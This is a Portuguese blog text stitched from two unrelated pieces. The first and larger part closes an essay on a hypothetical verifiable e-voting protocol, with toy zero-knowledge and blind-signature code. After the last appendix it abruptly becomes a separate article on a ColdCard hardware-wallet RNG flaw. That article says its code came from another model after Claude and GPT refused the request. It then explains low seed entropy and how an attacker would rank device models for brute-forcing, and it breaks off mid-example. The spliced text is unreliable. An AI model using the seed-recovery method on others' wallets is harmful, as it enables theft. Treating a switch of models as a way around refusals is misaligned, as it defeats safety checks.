Funciona porque g^z = g^(r + c·s) = g^r · (g^s)^c = t · y^c. A álgebra fecha. Agora observe o que o verificador viu: os números t, c, z e a conferência final. Em nenhum momento o segredo s = 7 apareceu. E um impostor que não sabe s não consegue responder a um desafio arbitrário: se ele chutar z = 2, o verificador calcula g^2 = 16 ≠ 12 e a fraude aparece.

E por que o verificador aprende nada sobre s, e não apenas “pouco”? Porque a conversa inteira poderia ter sido fabricada por alguém que não sabe o segredo, nesta ordem invertida:

# simulador: escolhe c e z PRIMEIRO, depois calcula t que fecha a equação
c_sim, z_sim = 5, 9
t_sim = (pow(g, z_sim, p) * pow(y, -c_sim % q, p)) % p  # t = 8

# conferência do transcrito forjado:
pow(g, z_sim, p)              # 4^9 mod 23 = 13
(t_sim * pow(y, c_sim, p)) % p  # 8 * 8^5 mod 23 = 13  -> bate!

O transcrito forjado (t=8, c=5, z=9) passa na verificação e é indistinguível de um transcrito real. Se qualquer um consegue fabricar uma conversa válida sem saber o segredo, então a conversa real não pode conter informação nenhuma sobre o segredo. É isso que “conhecimento zero” significa formalmente. (Pra usar fora de um laboratório, o desafio c é derivado por hash do compromisso — a transformação Fiat-Shamir — e a prova vira um objeto único, não-interativo, que qualquer um verifica offline.)

Na nossa eleição hipotética, a urna publica junto com cada voto uma prova desse tipo — na prática, uma variante em disjunção (“o voto é 0 ou é 1”, sem dizer qual) — e qualquer auditor verifica que todo voto na árvore é válido, sem nunca ver voto nenhum.

Peça 6: quem impede os votos fantasmas?

Resta um furo, e é um dos favoritos de quem desconfia de eleição digital: o que impede a autoridade de enfiar votos inventados na árvore? Cada compromisso na Merkle tree carrega uma prova ZK de que contém um voto válido — mas a prova só garante que o valor é 0 ou 1. Mil votos fantasmas seriam mil compromissos perfeitamente válidos, com provas perfeitamente corretas. A árvore é pública, qualquer um pode contar as folhas… mas quem garante que deveriam ser 8 e não 8 mil?

A primeira resposta é a replicação. A árvore segue o modelo das transparency logs — o mesmo Certificate Transparency que protege os certificados HTTPS que você usa o dia inteiro: um publicador escreve, e dezenas de observadores independentes (partidos, OAB, universidades, imprensa, você) copiam a árvore, assinam a raiz e conferem entre si. Reescrever o histórico exigiria convencer todos eles a aceitar uma raiz diferente da que já assinaram.

Isso protege o que já foi publicado. Mas e a criação de votos fantasmas? Aí entra a peça mais elegante de todas, e ela é do mesmo David Chaum que inventou o dinheiro digital e as mix-nets: a assinatura cega (blind signature, 1982).

O fluxo: você se autentica na mesa como hoje — documento, biometria. Na cabine, a urna calcula seu compromisso (Peça 2), mas antes de publicá-lo precisa de uma credencial da mesa. Ela cega o compromisso com um fator aleatório e manda pra mesa só o valor cego — e aqui estar online não é problema nenhum, como vimos na seção do air gap. A mesa, que já registrou sua autenticação, assina uma única vez, sem ver o conteúdo. A urna descega a assinatura e publica o par (compromisso, assinatura). No fim, a mesa não faz ideia de qual compromisso assinou — logo, não consegue vincular sua identidade ao seu voto. Com RSA de brinquedo, dá pra ver a mágica acontecendo:

# RSA de brinquedo da mesa: n=3233, e=17 (público), d=2753 (privado)
n, e, d = 3233, 17, 2753
C = 16        # seu compromisso Pedersen, o mesmo da Peça 3

# 1. a urna cega o compromisso com um fator aleatório r
r = 7
cego = (C * pow(r, e, n)) % n       # 2341 -> só isso vai pra mesa

# 2. a mesa, que já registrou sua autenticação, assina o valor CEGO
ass_cego = pow(cego, d, n) % n      # 216

# 3. a urna remove o fator cego e publica (C, s) na árvore
s = (ass_cego * pow(r, -1, n)) % n  # 2802

# qualquer auditor verifica: s^e mod n == C ?
print(pow(s, e, n))   # 16 -> o compromisso, com assinatura válida!

Repare: a mesa só viu o número 2341, que pra ela é ruído. Ela assinou 216 sem saber que estava assinando o seu C = 16. Mesmo assim, o par (C, s) passa na verificação de qualquer auditor. É uma assinatura digital normal — s é exatamente C^d mod n — só que produzida sem que o signatário visse o documento. Parece truque de mágico, mas é só álgebra do RSA: cegar multiplica por r^e; assinar eleva tudo a d, e como e·d ≡ 1, sobra C^d · r; descegar divide por r e resta C^d.

Agora monte o quadro completo: uma folha só entra na árvore se vier com duas coisas — a prova ZK de validade (Peça 5) e uma credencial assinada pela mesa (Peça 6). A mesa emite uma credencial por autenticação, e autenticação é evento público: tem fila na seção, mesário, fiscal de partido, log biométrico, contagem de comparecimento publicada por seção. No fim do dia, a conta que qualquer um confere é:

número de folhas na árvore == número de eleitores autenticados.

Voto fantasma é folha sem credencial (não entra) ou credencial sem eleitor (infla a contagem e aparece). Remover um voto legítimo quebra a prova de inclusão do recibo (Peça 3). Alterar um voto publicado quebra os hashes nas cópias dos observadores. Roubar credenciais exigiria fraudar a biometria na frente dos fiscais. Cada caminho de fraude bate numa parede diferente — e todas as paredes são verificáveis por qualquer um, de casa.

O elo mais fraco: quem prova que você é você?

Tudo o que veio antes desta seção é matemática. Mas tem uma porta que nenhuma matemática tranca: a autenticação. Nenhum algoritmo prova que o ser humano parado na sua frente é quem diz ser. Esse é, honestamente, o elo mais fraco do sistema inteiro — e vale encarar de frente.

E aqui o Brasil simplifica o problema, porque já pagou a parte cara: o cadastro biométrico do eleitorado existe e cobre mais de 80% dos eleitores — mais de 124 milhões de pessoas, segundo o TSE. A deduplicação nacional já rodou: um mesmo dedo só existe uma vez no cadastro, por mais que venha acompanhado de dez documentos falsos. E na seção a digital já libera o voto — em 2026, em todas as seções do país. Pro sistema hipotético deste artigo, a autenticação biométrica é de graça: é reusar o que já está de pé.

Claro que esse cadastro existir é, ele mesmo, a aposta de privacidade: biometria é dado irrevogável — senha você troca, sua digital não. O Aadhaar, o cadastro biométrico da Índia, teve incidentes que expuseram dados de mais de um bilhão de pessoas; a OPM, o RH do governo americano, perdeu 5,6 milhões de impressões digitais num único ataque, em 2015. Um banco de dados biométrico nacional é um ponto único de falha catastrófica e permanente — e o Brasil já fez essa aposta. O sistema hipotético não a piora; só herda.

Pra quem está fora do cadastro biométrico, a seção cai pro documento com foto — e documento se falsifica. Provavelmente se falsifica hoje. Mas repare no que a arquitetura faz com esse problema: uma autenticação forjada emite uma credencial, que gera uma folha na árvore. Pra fraudar em escala, o criminoso precisa de gente de carne e osso se apresentando pessoalmente, na frente de mesário e fiscal, uma vez por voto falso. É fraude de varejo: cara, visível, lenta. Mil votos falsos exigem mil corpos — e aí já não é fraude digital silenciosa, é logística de ônibus fretado que todo mundo vê passar. O sistema não impede a falsificação; ele limita o estrago por falsificação a exatamente um voto e empurra o custo pro mundo físico.

E as anomalias aparecem: a equação da Peça 6 — folhas == autenticações — pode ser conferida seção por seção. Uma seção com 400 eleitores cadastrados e 420 autenticações chama atenção. Padrões regionais de comparecimento acima de 100% chamam atenção. E se a paranoia for grande, a chave de assinatura da mesa pode ser fragmentada como a chave da eleição, exigindo quorum pra emitir credencial.

Resumindo com honestidade: o elo continua físico e humano — um humano provando, uma vez, em público, que está no cadastro — e nenhum sistema, por mais perfeito que seja, o elimina. O melhor desenho possível faz duas coisas com ele: encolhe a superfície de confiança até esse evento único e torna as falhas dele visíveis em vez de silenciosas. Com a biometria valendo em todas as seções em 2026, a falsificação de identidade vira o caminho mais caro e menos escalável de todos — que é exatamente onde um sistema bem desenhado quer que ela esteja. Não tem almoço grátis, e fingir que tem é o tipo de discurso que este artigo inteiro se recusa a fazer.

Juntando tudo: o protocolo completo

A eleição hipoteticamente perfeita ficaria assim:

1. Preparação. Um grupo de autoridades independentes (TSE, OAB, partidos, sociedade civil) gera em conjunto a chave pública da eleição. A chave privada correspondente fica fragmentada: nenhuma autoridade sozinha consegue decriptar nada; só uma maioria agindo junta.
2. Autenticação. O eleitor se identifica na mesa — documento, biometria, como hoje — e a mesa registra a autenticação. Isso autoriza a emissão de uma credencial: a assinatura cega de um compromisso, sem que a mesa veja o conteúdo. Nenhum vínculo entre identidade e voto.
3. Votação. O eleitor escolhe o candidato na tela. A urna gera um nonce aleatório, calcula o compromisso Pedersen e o ciphertext ElGamal do mesmo voto (o compromisso vira o serial do recibo; o ciphertext é o que será apurado), produz a prova ZK de validade e mostra o compromisso na tela. O eleitor então decide: confirma, e o nonce é descartado — ou desafia, e a urna revela o nonce pra conferência imediata, a cédula é anulada e ele vota de novo. Confirmado, a urna cega o compromisso, a mesa assina sem vê-lo e a urna descega a assinatura.
4. Publicação. O compromisso entra numa Merkle tree pública, junto com a prova ZK e a credencial — replicada e assinada por múltiplos observadores independentes. Sem credencial, não entra.
5. Recibo. O eleitor leva pra casa um papel com o serial. Ele não consegue provar pra ninguém em quem votou — nem que queira, porque não tem o nonce.
6. Verificação individual. Em casa, o eleitor baixa a árvore (ou usa qualquer site independente) e confere que seu serial está lá, com a prova de inclusão. Se não estiver, ele tem prova material da fraude.
7. Verificação universal. Qualquer cidadão, universidade ou partido refaz a árvore inteira, confere a raiz, valida todas as provas ZK e credenciais, e confere se o número de folhas bate com o total de autenticações publicado por seção.
8. Apuração. No fim, os votos encriptados passam por um mix-net (são re-embaralhados e re-encriptados, cortando o vínculo com a posição original) e as autoridades decriptam em conjunto, provando cada passo. O total bate com a raiz pública ou a fraude é evidente.

Repare no que mudou em relação ao sistema atual: não é mais preciso confiar no TSE, na urna, nem em auditor nenhum. Cada propriedade é verificável individualmente por qualquer pessoa com um computador. É o mesmo princípio que faz o Bitcoin funcionar sem banco central: don’t trust, verify.

Antes que alguém anime demais: isso é uma simplificação. Um sistema real precisa ainda resolver credenciais anônimas mais robustas que nossa assinatura cega de brinquedo, disponibilidade da árvore, e uma porção de detalhes operacionais. O ponto aqui é o mecanismo central, não o projeto completo.

E por que isso nunca funcionaria

Agora a parte que quase ninguém que propõe esses sistemas quer ouvir.

Volta pro começo do artigo e repara no que eu precisei explicar pra chegar até aqui: funções de hash, compromissos, aritmética modular, logaritmo discreto, árvores de Merkle, o desafio de Benaloh, assinaturas cegas, provas de conhecimento zero, simuladores. Com código, com números, com exemplos passo a passo. E mesmo assim eu aposto que uma parcela boa dos leitores — inclusive programadores — chegou até aqui sem ter certeza de que entendeu de verdade por que o esquema é seguro.

E não é por falta de inteligência. É porque a confiança nesse sistema exige entender matemática que a imensa maioria da população nunca vai entender. O único ser humano que pode ter 100% de certeza de que esse sistema é correto é aquele que consegue verificar as demonstrações matemáticas por conta própria. Todo o resto — 99,9% da população — não estaria verificando coisa nenhuma. Estaria acreditando no matemático que diz que funciona.

E aí chegamos na contradição fatal: se um sistema eleitoral exige que o cidadão comum acredite cegamente num especialista que ele não consegue auditar, ele é exatamente tão opaco quanto o sistema atual do TSE. A opacidade só trocou de endereço: em vez de confiar no burocrata do tribunal, você confia no criptógrafo. Pra dona Maria, que vende pastel na feira, tanto faz — os dois são “um monte de letrinha que eu não entendo”. E um sistema que a população não consegue entender é um sistema cuja legitimidade ela nunca vai aceitar. O cético de hoje que diz “não confio na urna” viraria o cético de amanhã dizendo “não confio nessa álgebra”.

Uma eleição não é só um problema de engenharia; é um problema de confiança social. O padrão-ouro de transparência não é o sistema mais sofisticado — é o sistema que qualquer pessoa consegue fiscalizar com os próprios olhos: cédula de papel, urna de vidro, contagem pública na seção, ata na porta. Qualquer um entende papel sendo contado em público. Ninguém precisa acreditar em ninguém.

É por isso que países muito mais ricos e tecnológicos que o Brasil — Alemanha, Holanda, França, a maior parte dos EUA — continuam com papel ou exigem trilha de papel auditável. Não é atraso. É a constatação de que verificabilidade que só especialista entende não é verificabilidade pública.

Parêntese: o que as criptomoedas provam todos os dias

Antes de concluir, vale um desvio pra responder à pergunta que sempre aparece: “mas isso funciona de verdade ou é teoria de guardanapo?”. Funciona. E a prova está rodando há quase duas décadas, movimentando bilhões de dólares, sob ataque constante: as blockchains.

Primeiro, desfazendo um mal-entendido: blockchain não é sinônimo de criptomoeda. Como o próprio nome diz, é só uma cadeia de blocos. Cada bloco carrega uma Merkle tree de registros e o hash do bloco anterior. No Bitcoin, o cabeçalho do bloco guarda a raiz da árvore de transações, o hash do bloco anterior, um carimbo de tempo e um nonce — aqui, um contador de mineração — que os mineradores variam até o hash do bloco inteiro cair abaixo do alvo de dificuldade — a tal prova de trabalho. É a Peça 3 deste artigo, estendida no tempo: não uma árvore, mas uma cadeia de árvores, cada uma selando a anterior.

O resultado prático é a garantia que interessa aqui: mexa em uma transação de um bloco antigo e a raiz da árvore muda, o hash do bloco muda, o elo com o bloco seguinte quebra, e pra esconder isso você precisaria refazer a prova de trabalho de todos os blocos até hoje — enquanto milhares de nós honestos continuam alongando a cadeia verdadeira. Depois que tudo está assinado e selado por hash, adulterar o passado é computacionalmente impossível. É exatamente por isso que o Bitcoin pode ser 100% público: a exposição funciona como proteção, não como risco. Todo mundo tem cópia de tudo, então ninguém reescreve a história.

Mas público não significa anônimo. Essa é a parte que a maioria confunde. No Bitcoin, toda transação fica visível pra sempre: quais endereços alimentaram, quais receberam, quanto foi. Endereços são pseudônimos — apelidos, não anonimato. E existe uma indústria inteira de análise de cadeia (Chainalysis, Elliptic, TRM) que vive de grudar identidade nesses apelidos:

• Heurística dos inputs comuns: se uma transação gasta moedas de vários endereços, quase certamente todos pertencem à mesma carteira. Agrupe-os num cluster.
• Detecção de troco: o output que volta pra um endereço novo costuma ser do próprio pagador.
• Ponte com o mundo real: quando um endereço do cluster encosta numa exchange com KYC, o nome e o CPF se ligam ao cluster inteiro — e ao histórico completo dele, retroativamente.

Foi assim que o FBI recuperou parte do resgate do oleoduto Colonial, foi assim que as moedas da Silk Road foram rastreadas anos depois, e é assim que os ~1.128 BTC roubados das ColdCards continuam parados em endereços conhecidos que meio mundo vigia — eu detalhei isso no artigo sobre o RNG da Coinkite. Se o ladrão mover um satoshi pra uma exchange com KYC, ele se identifica. A cadeia garante integridade, não sigilo.

Pra ter anonimato de verdade, não basta a cadeia: precisa de prova de conhecimento zero. O Monero, por exemplo, combina três técnicas:

1. Assinaturas de anel (ring signatures): cada gasto é assinado em nome de um grupo de chaves possíveis. A assinatura prova que uma delas autorizou, sem revelar qual.
2. Endereços furtivos (stealth addresses): o endereço do destinatário nunca aparece na cadeia; cada pagamento cria um endereço descartável, derivado de um segredo compartilhado.
3. RingCT (confidential transactions): os valores ficam escondidos em compromissos Pedersen — sim, exatamente a Peça 2 deste artigo — e uma prova de alcance em ZK garante que ninguém criou moeda do nada, sem revelar quantia nenhuma.

O Zcash segue a mesma filosofia com zk-SNARKs: você prova “eu sou dono de uma nota válida e ainda não gasta” sem revelar qual nota. A rede verifica a prova, aceita a transação e não aprende remetente, destinatário nem valor.

E aqui o círculo se fecha. Olhe o que o esquema eleitoral deste artigo usa: uma estrutura pública e imutável que qualquer um verifica (a Merkle tree, primo mais simples da blockchain), compromissos Pedersen pra esconder o conteúdo (a mesma primitiva do Monero) e provas ZK pra garantir validade sem revelação (a mesma família do Monero e do Zcash). Nada disso é conjectura de laboratório: são sistemas em produção, auditados, atacados diariamente, protegendo dinheiro de verdade. Uma eleição é, se muito, um problema mais simples — janela curta, um publicador só, verificação offline.

Por isso eu disse lá no começo que a ideia é matematicamente sólida: ela não inventa nada, só compõe peças que já provaram aguentar o mundo real. Sabemos que um sistema de eleição digital verificável ponta a ponta poderia ser construído, porque todos os componentes dele já estão construídos e funcionando. O que nos leva de volta ao problema que não é técnico.

Conclusão

Deixo claro mais uma vez, como deixei nos tweets: isso não é uma proposta, é um exercício. Eu não sei qual é a solução pro problema da confiança eleitoral no Brasil. Se soubesse, estaria publicando paper, não post de blog.

Mas o exercício vale por duas razões. Primeiro, porque mostra que a tecnologia pra ter verificabilidade individual e universal existe — quem diz “eleição digital é inerentemente inauditável” está errado. Segundo, porque mostra o limite real: a fronteira não é técnica, é epistemológica. Um sistema perfeito que ninguém entende falha no mesmo ponto que um sistema imperfeito que ninguém pode auditar.

Se você entendeu cada linha deste artigo, parabéns: você faz parte de uma minoria pequena demais pra carregar uma democracia nas costas.

Apêndice 1: afinal, o sistema atual é auditável?

Fica no ar uma pergunta justa: então o sistema atual não tem auditoria nenhuma? Tem sim, e vale ser honesto sobre isso. O que não existe é um tipo específico de auditoria: a que não depende de software. Vamos por partes.

O arsenal atual, resumido e com as fontes:

• Inspeção de código-fonte. Partidos, OAB, TCU, Polícia Federal, Ministério Público e universidades podem examinar o código dos sistemas na sede do TSE, meses antes da eleição — o tal ciclo de transparência.
• Teste Público de Segurança (TPS). Pesquisadores externos tentam atacar o sistema de verdade. E ele funciona: em 2012, a equipe do professor Diego Aranha desembaralhou o RDV e mostrou que dava pra descobrir em quem cada eleitor votou; em 2017, conseguiram adulterar o software de votação antes da instalação (a história está na Revista Pesquisa FAPESP e neste resumo da Lupa). As falhas encontradas foram corrigidas depois.
• Zerésima, BU e Teste de Integridade. Antes da votação, a urna imprime o relatório zerado. No fim do dia, imprime o Boletim de Urna, afixado na seção e publicado digitalmente com QR code — qualquer um pode baixar os BUs e somar por conta própria. E uma amostra aleatória de urnas é desviada pra uma votação paralela, filmada, comparando o registro em papel com o digital.
• RDV — a “recontagem digital”. A urna grava cada voto individual num arquivo embaralhado e anonimizado, publicado depois (definição na Resolução TSE 23.673/2021). Partidos e entidades autorizadas podem re-somar os votos e cruzar com os BUs e com a totalização oficial — é o mecanismo oficial apresentado como substituto da recontagem em papel (explicação do TSE).
• Auditorias externas. Em 2022, o TCU cruzou 9 milhões de registros de 4.577 seções eleitorais com a base de totalização e encontrou zero divergências — probabilidade de fraude “próxima de 0%” (CNN Brasil). O Carter Center observou as eleições de 2022, não registrou evidência de fraude e reconheceu a ampliação das auditorias (declaração da missão).

Agora o “mas” que este artigo inteiro constrói: toda camada dessa lista depende de software ou de cerimônia conduzida pelo próprio TSE. A comparação BU × RDV prova consistência interna — que os números publicados batem com os números registrados. Ela não prova que os números registrados refletem o que os eleitores apertaram na tela, porque uma urna adulterada produziria BU e RDV adulterados de forma perfeitamente consistente. É o que o próprio Aranha resume: todas as auditorias disponíveis hoje dependem do software; se o programa for adulterado, todas as checagens caem juntas (Folha de S.Paulo). E o Teste de Integridade, que cobre uma amostra pequena de urnas, é um primo pobre do desafio de Benaloh da Peça 4: em vez de cada eleitor auditar a própria cédula na hora, quem audita é uma amostra sorteada e conduzida pelo sistema.

Tem ainda o capítulo jurídico: a tentativa de criar um registro em papel verificável pelo eleitor, o “voto impresso”, foi declarada inconstitucional pelo STF na ADI 4543, por risco ao sigilo do voto, e a tentativa de ressuscitá-la foi barrada de novo em 2020 (Conjur). A ironia é que o esquema deste artigo resolve exatamente o conflito que derrubou o voto impresso: recibo verificável sem quebrar o sigilo, via compromissos e provas ZK. A matemática destrava o que o papel não destravou. O que continua travado é todo o resto, como as seções anteriores explicam.

O veredito honesto, então: o sistema brasileiro é auditável de formas digitais e procedurais reais, e nunca se provou fraude que alterasse um resultado em quase 30 anos de urna eletrônica. Mas não existe recontagem independente de software, porque não existe registro físico verificado pelo eleitor. Na linguagem da pesquisa de segurança eleitoral, uma risk-limiting audit de verdade não é possível. A confiança continua depositada no software, nas inspeções prévias e na custódia dos registros digitais — exatamente o que o sistema hipotético deste artigo tenta eliminar.

Apêndice 2: skin in the game — recompensar quem verifica

Uma pergunta que fica no ar depois de montar o esquema inteiro: criptomoedas funcionam porque alguém tem algo a perder. No Bitcoin, o minerador queima energia de verdade; no proof-of-stake, o validador deposita capital que é confiscado se trapacear. E o eleitor? Votar não custa nada, e conferir o recibo em casa dá trabalho de graça. O sistema inteiro depende de gente verificando — e ninguém tem incentivo pra verificar. Dá pra colocar skin in the game no eleitor?

A primeira ideia que vem à cabeça é um depósito: vote, deposite uma quantia, receba de volta depois via imposto de renda. Como desenho de mecanismo, tem lógica — precifica identidade falsa: um milhão de votos fantasmas custaria cem milhões de reais. Na prática, morre em três lugares. É um imposto eleitoral disfarçado, censitário e inconstitucional — a devolução resolve a contabilidade, não o fluxo de caixa de quem não tem o dinheiro pra adiantar. A via “imposto de renda” não alcança a maioria dos brasileiros pobres, que nem declaram — ou seja, exclui exatamente quem o sistema mais precisa incluir. E criaria na Receita um banco de dados ligando identidade, conta bancária e participação eleitoral, um retrocesso de vigilância maior que o problema que resolve. Tudo isso antes do detalhe plutocrático: segurança precificada em dinheiro é segurança comprável por quem tem dinheiro. Eleição é desenhada pra ser cega a riqueza — um voto por pessoa. Colocar preço na camada de segurança é convidar o rico a ser mais igual que os outros.

A versão que sobrevive a esse crivo inverte o sinal: em vez de cobrar pra votar, recompensar quem verifica. O ponto fraco real do esquema é a taxa de verificação individual — se ninguém confere o serial em casa, a prova de inclusão da Peça 3 vira decoração. Então: cada recibo verificado entra num sorteio público e auditável, com a raiz da própria árvore servindo de fonte de aleatoriedade (mais um uso pra ela). Conferiu seu voto na árvore? Concorre a um prêmio. O incentivo aponta exatamente pro comportamento que o sistema precisa — milhões de olhos conferindo a árvore — sem excluir ninguém, sem cobrar nada e sem banco de dados novo, porque o sorteio roda em cima do serial anônimo, não da identidade.

É a lógica do Bitcoin do lado certo: lá, a recompensa por bloco paga pra milhares de máquinas manterem o ledger honesto; aqui, o prêmio pagaria pra milhões de eleitores manterem a eleição honesta. É quase uma proof of verification: a recompensa de bloco paga o trabalho de hashear que sustenta o Bitcoin, e o prêmio pagaria o trabalho de conferir que sustentaria a eleição. Não é proposta — como nada neste artigo —, mas como exercício de desenho de incentivos, é a versão que eu colocaria no papel.

Apêndice 3: por que “conhecimento zero” é tão difícil de engolir

Se você chegou até aqui com a sensação de que entendeu cada peça individualmente, mas não juraria que entendeu o conjunto, relaxa: você está em ótima companhia. Quando Goldwasser, Micali e Rackoff formalizaram provas de conhecimento zero nos anos 80, a ideia soou paradoxal até pra criptógrafo de profissão. Toda prova que a gente conhece funciona mostrando alguma coisa. Como pode uma prova transferir convicção sem transferir informação nenhuma?

A matemática das Peças 2 a 5 é a resposta completa, mas a intuição demora a assentar. Então aqui vão duas analogias clássicas que não envolvem equação nenhuma — cada uma ilumina uma metade do conceito.

Onde está o Wally? Eu digo que encontrei o Wally na página e quero te provar isso sem revelar onde ele está — senão você ganha o jogo de graça. A solução: pego uma folha de papelão enorme, bem maior que o livro, faço um furo pequeno no meio e posiciono sobre a página de modo que só o Wally apareça pelo furo. Você vê o Wally. Mas como o papelão cobre tudo em volta, você não faz ideia de em que canto da página ele está. Eu provei que sei a localização; você aprendeu zero sobre ela. E repare no que sustenta a prova: se eu não soubesse onde ele está, não teria como posicionar o papelão — a chance de acertar o furo no Wally por sorte é minúscula. É a caverna de Ali Babá de novo, só que com papelão.

As duas bolas do amigo daltônico. Seu amigo é daltônico vermelho-verde. Você tem duas bolas idênticas em tamanho, peso e textura, uma vermelha e uma verde, e afirma: “essas bolas são de cores diferentes”. Pra ele, são indistinguíveis. Como provar sem revelar qual é qual? Ele mostra as duas bolas, uma em cada mão. Esconde as mãos atrás das costas e decide, sozinho, se troca as bolas de mão ou não. Mostra de novo e pergunta: “troquei?”. Você, que enxerga as cores, acerta sempre. Ele, que não enxerga, não passaria de 50%. Depois de 20 acertos seguidos, ele está convencido de que as bolas são diferentes — a chance de você blefar 20 rodadas é uma em um milhão. E o que ele aprendeu sobre qual bola é a vermelha? Nada. Cada resposta sua (“trocou”, “não trocou”) era algo que ele mesmo já sabia — afinal, foi ele quem decidiu se trocava ou não. A informação da rodada já era dele; a única coisa nova é a convicção de que você enxerga a diferença.

A versão formal dessa intuição é o simulador da Peça 5: se qualquer pessoa, sem saber segredo nenhum, consegue fabricar a “gravação” de uma sessão de prova indistinguível de uma sessão real, então a sessão real não pode carregar informação sobre o segredo. O poder de convencer vem da ordem das operações — primeiro o compromisso, depois o desafio. O conhecimento zero vem do fato de que a gravação, sozinha, é falsificável. As duas coisas são verdade ao mesmo tempo, por razões diferentes. É por isso que o conceito escorrega: você segura dois fatos que parecem se contradizer até perceber que cada um se apoia numa coisa distinta.

E se mesmo depois de tudo isso o conceito continua escorregadio, ótimo: você acabou de sentir na pele o argumento central deste artigo.

O código didático deste artigo foi gerado com Kimi K3. É curioso notar que, ao mesmo prompt, tanto o Claude quanto o GPT se recusaram a produzir o mesmo tipo de exemplo — ambos alegaram risco de uso malicioso, embora o objetivo aqui seja exatamente o oposto: mostrar por que a vulnerabilidade funciona para que as vítimas entendam o risco e se protejam.

O objetivo é responder, linha a linha, a uma pergunta que muita gente fez: “se a ColdCard fica offline, como os bitcoins sumiram?”.

Aviso: o código aqui é educacional. Rodá-lo contra endereços que não são seus é crime. Use-o para entender o risco, testar seeds suas em ambiente controlado e reforçar por que você precisa gerar entropia nova.

O resumo do post anterior

Entre março de 2021 e a correção de julho de 2026, vários firmwares da ColdCard geraram seeds a partir de um gerador determinístico em vez do TRNG de hardware. A culpa foi de uma integração errada: a macro MICROPY_HW_ENABLE_RNG foi definida como 0, mas a guarda no libNgU usava #ifndef, que só pergunta se o símbolo existe. O build passou, a chamada rng_get() caiu no fallback de software Yasmarang do MicroPython, e a seed passou a ser produzida a partir do UID do microcontrolador e de registradores de tempo.

Para quem não lida com hardware, vale traduzir essas siglas:

• UID (Unique Identifier) é o número de série gravado de fábrica no chip do microcontrolador. No STM32F4 usado pela ColdCard, ele tem 96 bits — algo como 0x4A3F B201 C847 D5E9 1234 5678. Cada chip sai da linha de montagem com um UID diferente, mas ele é fixo e pode ser lido por software. Se o atacante souber (ou puder restringir) esse número, ele já elimina uma das incógnitas.
• RTC (Real-Time Clock) é o relógio de tempo real do microcontrolador. Em um PC, esse relógio costuma ser mantido por uma bateria de botão e continua contando mesmo com a máquina desligada. A ColdCard não tem essa bateria. Nos Mk2/Mk3 o oscilador do RTC fica desabilitado durante a inicialização, o que sugere fortemente que os registradores RTC->TR e RTC->SSR leiam zero ou um valor estático toda vez que o aparelho liga “frio”. Nos Mk4/Q/Mk5 a fonte do RTC é configurada, mas marcada como não usada, e a inicialização do RTC pelo MicroPython continua desabilitada. Ou seja: o “tempo” não é uma fonte de entropia nova aqui — é mais um valor fixo ou previsível que o atacante pode perfilar.
• SysTick é outro timer, este dentro do próprio núcleo ARM, que conta em alta velocidade — tipicamente de 0 até 0x00FFFFFF e volta a zero. Quando o firmware lê esse contador no momento da criação da seed, ele captura um valor como 0x003D7A12. Como o RTC provavelmente não varia entre boots frios, o SysTick vira praticamente o único elemento dinâmico do estado inicial. A Block estima que, sozinho, ele pode limitar o espaço a ~80 mil possibilidades (~16 bits).

A análise da Block e o backgrounder técnico da Coinkite concordam no mecanismo, embora difiram nos detalhes de impacto. O post de ontem tem a tabela completa de firmwares afetados.

O ponto central é: a entropia efetiva caiu de pelo menos 128 bits para algo na casa de 40 bits no Mk3 e 72 bits (com ressalvas) nos modelos mais novos. Quarenta bits não são seguros. São enumeráveis com hardware barato.

A carteira não fica “dentro” da ColdCard

Antes de entrar no ataque, vale repetir o básico. Bitcoin não fica dentro do aparelho. A blockchain pública contém UTXOs — outputs de transações — bloqueados por scripts. O que sua wallet guarda é o material para produzir assinaturas que satisfazem esses scripts.

No caso mais comum, um endereço SegWit nativo é derivado de uma chave pública, que por sua vez vem de uma chave privada, que é só um número inteiro dentro do domínio da curva secp256k1. Quem conhece o número pode assinar. Quem não conhece, não consegue.

Por isso a ColdCard pode estar desligada, sem bateria, dentro de um cofre. O atacante não precisa tocá-la. Ele só precisa reproduzir o mesmo número inteiro que ela sorteou. Com um RNG fraco, isso deixa de ser impossível e vira busca em espaço pequeno.

Você pode ver qualquer wallet na blockchain. Basta colar um endereço ou xpub em um explorador como o mempool.space. O explorador mostra saldo, UTXOs e histórico porque esses dados são públicos por design. A ColdCard, a Ledger, o Sparrow, o Electrum — nenhum deles “segura” seus bitcoins; eles apenas guardam as chaves que permitem gastar os UTXOs que estão no livro-razão global.

Como o atacante prioriza os modelos

Nem todos os modelos são igualmente fáceis de atacar. A ordem de prioridade segue o tamanho do espaço de busca:

Por que o Mk3 é o mais fácil? Porque nele não há nenhuma contribuição criptográfica de um secure element. O fallback Yasmarang é totalmente determinístico dado o UID e o estado do timer. Se o atacante souber (ou puder restringir) esses valores, não existe segredo residual. A Coinkite estima o espaço efetivo em cerca de 40 bits; a Block mostra que, como o RTC dos Mk2/Mk3 provavelmente começa zerado ou estático no cold boot, o SysTick sozinho limita o espaço a ~80 mil valores, ou seja, ~16 bits.

Nos Mk4/Q/Mk5 o reseed do secure element acrescenta 32 bits. Isso é o suficiente para tornar o ataque muito mais caro — mas ainda longe dos 128 bits mínimos aceitáveis. Além disso, a Block aponta um caminho no fonte em que uma exceção capturada durante a inicialização pode fazer o reseed não acontecer, caindo de volta no espaço menor.

O atacante racional começa pelo maior retorno: Mk2/Mk3 v4. Depois parte para Mk4/Q/Mk5 apenas se tiver recursos sobrando.

128 bits, 40 bits e 72 bits: qual é a diferença?

Bits medem o tamanho do espaço de busca. Cada bit a mais dobra o trabalho. A diferença não é pequena — é exponencial.

Imagine que você consegue testar 1 bilhão de candidatos por segundo:

Outra forma de enxergar: 40 bits é como procurar uma folha específica em uma pequena floresta. 72 bits é como procurar um grão de areia específico em todas as praias do planeta. 128 bits é como procurar um átomo específico entre todos os átomos de milhares de planetas.

Por isso 40 bits não são “um pouco menos seguros” que 128. São uma categoria completamente diferente: passível de ataque prático com hardware comum. 72 bits já exige recursos sérios, mas ainda está abaixo do mínimo aceitável para guardar valor. 128 bits é o padrão porque, com a computação conhecida, não dá para vencer.

De um número inteiro para uma wallet

Abaixo, um exemplo real de como um número (a entropia) vira seed, chave privada e endereço. Usei 16 bytes (128 bits) só para caber numa linha; a ColdCard usava 32 bytes, mas a ideia é a mesma.

from embit.bip39 import mnemonic_from_bytes, mnemonic_to_seed
from embit.bip32 import HDKey
from embit.script import p2wpkh

entropy = bytes.fromhex("0123456789abcdef0123456789abcdef")  # 128 bits
mnemonic = mnemonic_from_bytes(entropy)
seed = mnemonic_to_seed(mnemonic)
root = HDKey.from_seed(seed)
key = root.derive("m/84'/0'/0'/0/0")

Saída:

entropia (128 bits): 0123456789abcdef0123456789abcdef
